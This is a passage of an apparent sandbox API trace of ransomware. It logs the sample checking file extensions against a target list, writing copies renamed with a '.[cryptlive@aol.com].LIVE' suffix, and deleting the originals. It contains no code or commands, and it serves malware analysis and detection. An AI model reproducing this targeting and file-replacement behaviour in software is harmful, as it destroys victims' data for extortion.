[0046.911] lstrcmpiW (lpString1=".xlsx", lpString2="E.XML") returned -1 [0046.911] lstrlenW (lpString=".ppt") returned 4 [0046.911] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0046.911] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76 [0046.911] lstrlenW (lpString=".zip") returned 4 [0046.911] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0046.911] lstrlenW (lpString=".rar") returned 4 [0046.911] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0046.911] lstrlenW (lpString=".bz2") returned 4 [0046.911] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0046.911] lstrlenW (lpString=".7z") returned 3 [0046.911] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0046.911] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76 [0046.911] lstrlenW (lpString=".dbf") returned 4 [0046.911] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0046.911] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76 [0046.911] lstrlenW (lpString=".1cd") returned 4 [0046.911] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0046.911] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76 [0046.911] lstrlenW (lpString=".jpg") returned 4 [0046.911] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0046.912] lstrcmpiW (lpString1=".XSL", lpString2=".LIVE") returned 1 [0046.912] lstrlenW (lpString="BASMLA.XSL") returned 10 [0046.912] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\basmla.xsl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0046.912] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=227311) returned 1 [0046.912] CloseHandle (hObject=0x208) returned 1 [0046.912] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\basmla.xsl")) returned 0x20 [0046.912] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\basmla.xsl.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0046.912] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\basmla.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0046.912] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0046.912] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0046.912] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\basmla.xsl.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0046.913] GetLastError () returned 0x0 [0046.913] ReadFile (in: hFile=0x208, lpBuffer=0x3910020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3910020*, lpNumberOfBytesRead=0x2ecfed4*=0x377ef, lpOverlapped=0x0) returned 1 [0046.918] WriteFile (in: hFile=0x20c, lpBuffer=0x3910020*, nNumberOfBytesToWrite=0x377f0, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3910020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x377f0, lpOverlapped=0x0) returned 1 [0046.922] ReadFile (in: hFile=0x208, lpBuffer=0x3910020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3910020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0046.922] WriteFile (in: hFile=0x20c, lpBuffer=0x3910020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3910020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xe8, lpOverlapped=0x0) returned 1 [0046.922] SetEndOfFile (hFile=0x20c) returned 1 [0046.922] CloseHandle (hObject=0x20c) returned 1 [0047.306] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0047.306] SetEndOfFile (hFile=0x208) returned 1 [0047.308] CloseHandle (hObject=0x208) returned 1 [0047.309] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0047.309] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\basmla.xsl")) returned 1 [0047.309] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73 [0047.309] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73 [0047.309] lstrlenW (lpString=".doc") returned 4 [0047.309] lstrcmpiW (lpString1=".doc", lpString2=".XSL") returned -1 [0047.309] lstrlenW (lpString=".docx") returned 5 [0047.309] lstrcmpiW (lpString1=".docx", lpString2="A.XSL") returned -1 [0047.309] lstrlenW (lpString=".pdf") returned 4 [0047.309] lstrcmpiW (lpString1=".pdf", lpString2=".XSL") returned -1 [0047.309] lstrlenW (lpString=".xls") returned 4 [0047.309] lstrcmpiW (lpString1=".xls", lpString2=".XSL") returned -1 [0047.309] lstrlenW (lpString=".xlsx") returned 5 [0047.309] lstrcmpiW (lpString1=".xlsx", lpString2="A.XSL") returned -1 [0047.309] lstrlenW (lpString=".ppt") returned 4 [0047.309] lstrcmpiW (lpString1=".ppt", lpString2=".XSL") returned -1 [0047.309] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73 [0047.309] lstrlenW (lpString=".zip") returned 4 [0047.309] lstrcmpiW (lpString1=".zip", lpString2=".XSL") returned 1 [0047.310] lstrlenW (lpString=".rar") returned 4 [0047.310] lstrcmpiW (lpString1=".rar", lpString2=".XSL") returned -1 [0047.310] lstrlenW (lpString=".bz2") returned 4 [0047.310] lstrcmpiW (lpString1=".bz2", lpString2=".XSL") returned -1 [0047.310] lstrlenW (lpString=".7z") returned 3 [0047.310] lstrcmpiW (lpString1=".7z", lpString2="XSL") returned -1 [0047.310] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73 [0047.310] lstrlenW (lpString=".dbf") returned 4 [0047.310] lstrcmpiW (lpString1=".dbf", lpString2=".XSL") returned -1 [0047.310] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73 [0047.310] lstrlenW (lpString=".1cd") returned 4 [0047.310] lstrcmpiW (lpString1=".1cd", lpString2=".XSL") returned -1 [0047.310] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73 [0047.310] lstrlenW (lpString=".jpg") returned 4 [0047.310] lstrcmpiW (lpString1=".jpg", lpString2=".XSL") returned -1 [0047.310] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73 [0047.310] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73 [0047.310] lstrlenW (lpString=".doc") returned 4 [0047.310] lstrcmpiW (lpString1=".doc", lpString2=".XSL") returned -1 [0047.310] lstrlenW (lpString=".docx") returned 5 [0047.310] lstrcmpiW (lpString1=".docx", lpString2="A.XSL") returned -1 [0047.310] lstrlenW (lpString=".pdf") returned 4 [0047.310] lstrcmpiW (lpString1=".pdf", lpString2=".XSL") returned -1 [0047.310] lstrlenW (lpString=".xls") returned 4 [0047.310] lstrcmpiW (lpString1=".xls", lpString2=".XSL") returned -1 [0047.310] lstrlenW (lpString=".xlsx") returned 5 [0047.310] lstrcmpiW (lpString1=".xlsx", lpString2="A.XSL") returned -1 [0047.310] lstrlenW (lpString=".ppt") returned 4 [0047.310] lstrcmpiW (lpString1=".ppt", lpString2=".XSL") returned -1 [0047.310] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73 [0047.310] lstrlenW (lpString=".zip") returned 4 [0047.310] lstrcmpiW (lpString1=".zip", lpString2=".XSL") returned 1 [0047.310] lstrlenW (lpString=".rar") returned 4 [0047.310] lstrcmpiW (lpString1=".rar", lpString2=".XSL") returned -1 [0047.311] lstrlenW (lpString=".bz2") returned 4 [0047.311] lstrcmpiW (lpString1=".bz2", lpString2=".XSL") returned -1 [0047.311] lstrlenW (lpString=".7z") returned 3 [0047.311] lstrcmpiW (lpString1=".7z", lpString2="XSL") returned -1 [0047.311] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73 [0047.311] lstrlenW (lpString=".dbf") returned 4 [0047.311] lstrcmpiW (lpString1=".dbf", lpString2=".XSL") returned -1 [0047.311] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73 [0047.311] lstrlenW (lpString=".1cd") returned 4 [0047.311] lstrcmpiW (lpString1=".1cd", lpString2=".XSL") returned -1 [0047.311] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73 [0047.311] lstrlenW (lpString=".jpg") returned 4 [0047.311] lstrcmpiW (lpString1=".jpg", lpString2=".XSL") returned -1 [0047.311] lstrcmpiW (lpString1=".emf", lpString2=".LIVE") returned -1 [0047.311] lstrlenW (lpString="Graph.emf") returned 9 [0047.311] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\graph.emf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0048.831] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=116724) returned 1 [0048.831] CloseHandle (hObject=0x180) returned 1 [0048.831] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\graph.emf")) returned 0x20 [0048.831] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\graph.emf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0048.831] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\graph.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0048.831] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf") returned 67 [0048.831] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf") returned 67 [0048.831] lstrlenW (lpString=".doc") returned 4 [0048.831] lstrcmpiW (lpString1=".doc", lpString2=".emf") returned -1 [0048.831] lstrlenW (lpString=".docx") returned 5 [0048.831] lstrcmpiW (lpString1=".docx", lpString2="h.emf") returned -1 [0048.831] lstrlenW (lpString=".pdf") returned 4 [0048.831] lstrcmpiW (lpString1=".pdf", lpString2=".emf") returned 1 [0048.831] lstrlenW (lpString=".xls") returned 4 [0048.831] lstrcmpiW (lpString1=".xls", lpString2=".emf") returned 1 [0048.832] lstrlenW (lpString=".xlsx") returned 5 [0048.832] lstrcmpiW (lpString1=".xlsx", lpString2="h.emf") returned -1 [0048.832] lstrlenW (lpString=".ppt") returned 4 [0048.832] lstrcmpiW (lpString1=".ppt", lpString2=".emf") returned 1 [0048.832] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf") returned 67 [0048.832] lstrlenW (lpString=".zip") returned 4 [0048.832] lstrcmpiW (lpString1=".zip", lpString2=".emf") returned 1 [0048.832] lstrlenW (lpString=".rar") returned 4 [0048.832] lstrcmpiW (lpString1=".rar", lpString2=".emf") returned 1 [0048.832] lstrlenW (lpString=".bz2") returned 4 [0048.832] lstrcmpiW (lpString1=".bz2", lpString2=".emf") returned -1 [0048.832] lstrlenW (lpString=".7z") returned 3 [0048.832] lstrcmpiW (lpString1=".7z", lpString2="emf") returned -1 [0048.832] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf") returned 67 [0048.832] lstrlenW (lpString=".dbf") returned 4 [0048.832] lstrcmpiW (lpString1=".dbf", lpString2=".emf") returned -1 [0048.832] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf") returned 67 [0048.832] lstrlenW (lpString=".1cd") returned 4 [0048.832] lstrcmpiW (lpString1=".1cd", lpString2=".emf") returned -1 [0048.832] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf") returned 67 [0048.832] lstrlenW (lpString=".jpg") returned 4 [0048.832] lstrcmpiW (lpString1=".jpg", lpString2=".emf") returned 1 [0048.832] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf") returned 67 [0048.832] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf") returned 67 [0048.832] lstrlenW (lpString=".doc") returned 4 [0048.832] lstrcmpiW (lpString1=".doc", lpString2=".emf") returned -1 [0048.832] lstrlenW (lpString=".docx") returned 5 [0048.832] lstrcmpiW (lpString1=".docx", lpString2="h.emf") returned -1 [0048.832] lstrlenW (lpString=".pdf") returned 4 [0048.832] lstrcmpiW (lpString1=".pdf", lpString2=".emf") returned 1 [0048.832] lstrlenW (lpString=".xls") returned 4 [0048.832] lstrcmpiW (lpString1=".xls", lpString2=".emf") returned 1 [0048.832] lstrlenW (lpString=".xlsx") returned 5 [0048.832] lstrcmpiW (lpString1=".xlsx", lpString2="h.emf") returned -1 [0048.832] lstrlenW (lpString=".ppt") returned 4 [0048.832] lstrcmpiW (lpString1=".ppt", lpString2=".emf") returned 1 [0048.833] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf") returned 67 [0048.833] lstrlenW (lpString=".zip") returned 4 [0048.833] lstrcmpiW (lpString1=".zip", lpString2=".emf") returned 1 [0048.833] lstrlenW (lpString=".rar") returned 4 [0048.833] lstrcmpiW (lpString1=".rar", lpString2=".emf") returned 1 [0048.833] lstrlenW (lpString=".bz2") returned 4 [0048.833] lstrcmpiW (lpString1=".bz2", lpString2=".emf") returned -1 [0048.833] lstrlenW (lpString=".7z") returned 3 [0048.833] lstrcmpiW (lpString1=".7z", lpString2="emf") returned -1 [0048.833] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf") returned 67 [0048.833] lstrlenW (lpString=".dbf") returned 4 [0048.833] lstrcmpiW (lpString1=".dbf", lpString2=".emf") returned -1 [0048.833] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf") returned 67 [0048.833] lstrlenW (lpString=".1cd") returned 4 [0048.833] lstrcmpiW (lpString1=".1cd", lpString2=".emf") returned -1 [0048.833] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf") returned 67 [0048.833] lstrlenW (lpString=".jpg") returned 4 [0048.833] lstrcmpiW (lpString1=".jpg", lpString2=".emf") returned 1 [0048.833] lstrcmpiW (lpString1=".jpg", lpString2=".LIVE") returned -1 [0048.833] lstrlenW (lpString="GreenBubbles.jpg") returned 16 [0048.833] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\greenbubbles.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0048.833] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=6406) returned 1 [0048.833] CloseHandle (hObject=0x180) returned 1 [0048.834] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\greenbubbles.jpg")) returned 0x20 [0048.834] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\greenbubbles.jpg.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0048.834] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\greenbubbles.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0048.834] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg") returned 74 [0048.834] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg") returned 74 [0048.834] lstrlenW (lpString=".doc") returned 4 [0048.834] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0048.834] lstrlenW (lpString=".docx") returned 5 [0048.834] lstrcmpiW (lpString1=".docx", lpString2="s.jpg") returned -1 [0048.834] lstrlenW (lpString=".pdf") returned 4 [0048.834] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0048.834] lstrlenW (lpString=".xls") returned 4 [0048.834] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0048.834] lstrlenW (lpString=".xlsx") returned 5 [0048.834] lstrcmpiW (lpString1=".xlsx", lpString2="s.jpg") returned -1 [0048.834] lstrlenW (lpString=".ppt") returned 4 [0048.834] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0048.834] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg") returned 74 [0048.834] lstrlenW (lpString=".zip") returned 4 [0048.834] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0048.834] lstrlenW (lpString=".rar") returned 4 [0048.834] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0048.834] lstrlenW (lpString=".bz2") returned 4 [0048.834] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0048.834] lstrlenW (lpString=".7z") returned 3 [0048.834] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0048.834] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg") returned 74 [0048.834] lstrlenW (lpString=".dbf") returned 4 [0048.834] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0048.834] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg") returned 74 [0048.834] lstrlenW (lpString=".1cd") returned 4 [0048.834] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0048.835] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg") returned 74 [0048.835] lstrlenW (lpString=".jpg") returned 4 [0048.835] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0048.835] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg") returned 74 [0048.835] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg") returned 74 [0048.835] lstrlenW (lpString=".doc") returned 4 [0048.835] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0048.835] lstrlenW (lpString=".docx") returned 5 [0048.835] lstrcmpiW (lpString1=".docx", lpString2="s.jpg") returned -1 [0048.835] lstrlenW (lpString=".pdf") returned 4 [0048.835] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0048.835] lstrlenW (lpString=".xls") returned 4 [0048.835] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0048.835] lstrlenW (lpString=".xlsx") returned 5 [0048.835] lstrcmpiW (lpString1=".xlsx", lpString2="s.jpg") returned -1 [0048.835] lstrlenW (lpString=".ppt") returned 4 [0048.835] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0048.835] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg") returned 74 [0048.835] lstrlenW (lpString=".zip") returned 4 [0048.835] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0048.835] lstrlenW (lpString=".rar") returned 4 [0048.835] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0048.835] lstrlenW (lpString=".bz2") returned 4 [0048.835] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0048.835] lstrlenW (lpString=".7z") returned 3 [0048.835] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0048.835] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg") returned 74 [0048.835] lstrlenW (lpString=".dbf") returned 4 [0048.835] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0048.835] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg") returned 74 [0048.835] lstrlenW (lpString=".1cd") returned 4 [0048.835] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0048.835] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg") returned 74 [0048.835] lstrlenW (lpString=".jpg") returned 4 [0048.835] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0048.836] lstrcmpiW (lpString1=".wmf", lpString2=".LIVE") returned 1 [0048.836] lstrlenW (lpString="grid_(cm).wmf") returned 13 [0048.836] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\grid_(cm).wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0048.836] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=2920) returned 1 [0048.836] CloseHandle (hObject=0x180) returned 1 [0048.836] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\grid_(cm).wmf")) returned 0x20 [0048.836] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\grid_(cm).wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0048.836] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\grid_(cm).wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0048.836] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf") returned 71 [0048.836] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf") returned 71 [0048.836] lstrlenW (lpString=".doc") returned 4 [0048.836] lstrcmpiW (lpString1=".doc", lpString2=".wmf") returned -1 [0048.836] lstrlenW (lpString=".docx") returned 5 [0048.836] lstrcmpiW (lpString1=".docx", lpString2=").wmf") returned 1 [0048.836] lstrlenW (lpString=".pdf") returned 4 [0048.836] lstrcmpiW (lpString1=".pdf", lpString2=".wmf") returned -1 [0048.836] lstrlenW (lpString=".xls") returned 4 [0048.836] lstrcmpiW (lpString1=".xls", lpString2=".wmf") returned 1 [0048.836] lstrlenW (lpString=".xlsx") returned 5 [0048.836] lstrcmpiW (lpString1=".xlsx", lpString2=").wmf") returned 1 [0048.837] lstrlenW (lpString=".ppt") returned 4 [0048.837] lstrcmpiW (lpString1=".ppt", lpString2=".wmf") returned -1 [0048.837] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf") returned 71 [0048.837] lstrlenW (lpString=".zip") returned 4 [0048.837] lstrcmpiW (lpString1=".zip", lpString2=".wmf") returned 1 [0048.837] lstrlenW (lpString=".rar") returned 4 [0048.837] lstrcmpiW (lpString1=".rar", lpString2=".wmf") returned -1 [0048.837] lstrlenW (lpString=".bz2") returned 4 [0048.837] lstrcmpiW (lpString1=".bz2", lpString2=".wmf") returned -1 [0048.837] lstrlenW (lpString=".7z") returned 3 [0048.837] lstrcmpiW (lpString1=".7z", lpString2="wmf") returned -1 [0048.837] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf") returned 71 [0048.837] lstrlenW (lpString=".dbf") returned 4 [0048.837] lstrcmpiW (lpString1=".dbf", lpString2=".wmf") returned -1 [0048.837] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf") returned 71 [0048.837] lstrlenW (lpString=".1cd") returned 4 [0048.837] lstrcmpiW (lpString1=".1cd", lpString2=".wmf") returned -1 [0048.837] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf") returned 71 [0048.837] lstrlenW (lpString=".jpg") returned 4 [0048.837] lstrcmpiW (lpString1=".jpg", lpString2=".wmf") returned -1 [0048.837] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf") returned 71 [0048.837] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf") returned 71 [0048.837] lstrlenW (lpString=".doc") returned 4 [0048.837] lstrcmpiW (lpString1=".doc", lpString2=".wmf") returned -1 [0048.837] lstrlenW (lpString=".docx") returned 5 [0048.837] lstrcmpiW (lpString1=".docx", lpString2=").wmf") returned 1 [0048.837] lstrlenW (lpString=".pdf") returned 4 [0048.837] lstrcmpiW (lpString1=".pdf", lpString2=".wmf") returned -1 [0048.837] lstrlenW (lpString=".xls") returned 4 [0048.837] lstrcmpiW (lpString1=".xls", lpString2=".wmf") returned 1 [0048.837] lstrlenW (lpString=".xlsx") returned 5 [0048.837] lstrcmpiW (lpString1=".xlsx", lpString2=").wmf") returned 1 [0048.837] lstrlenW 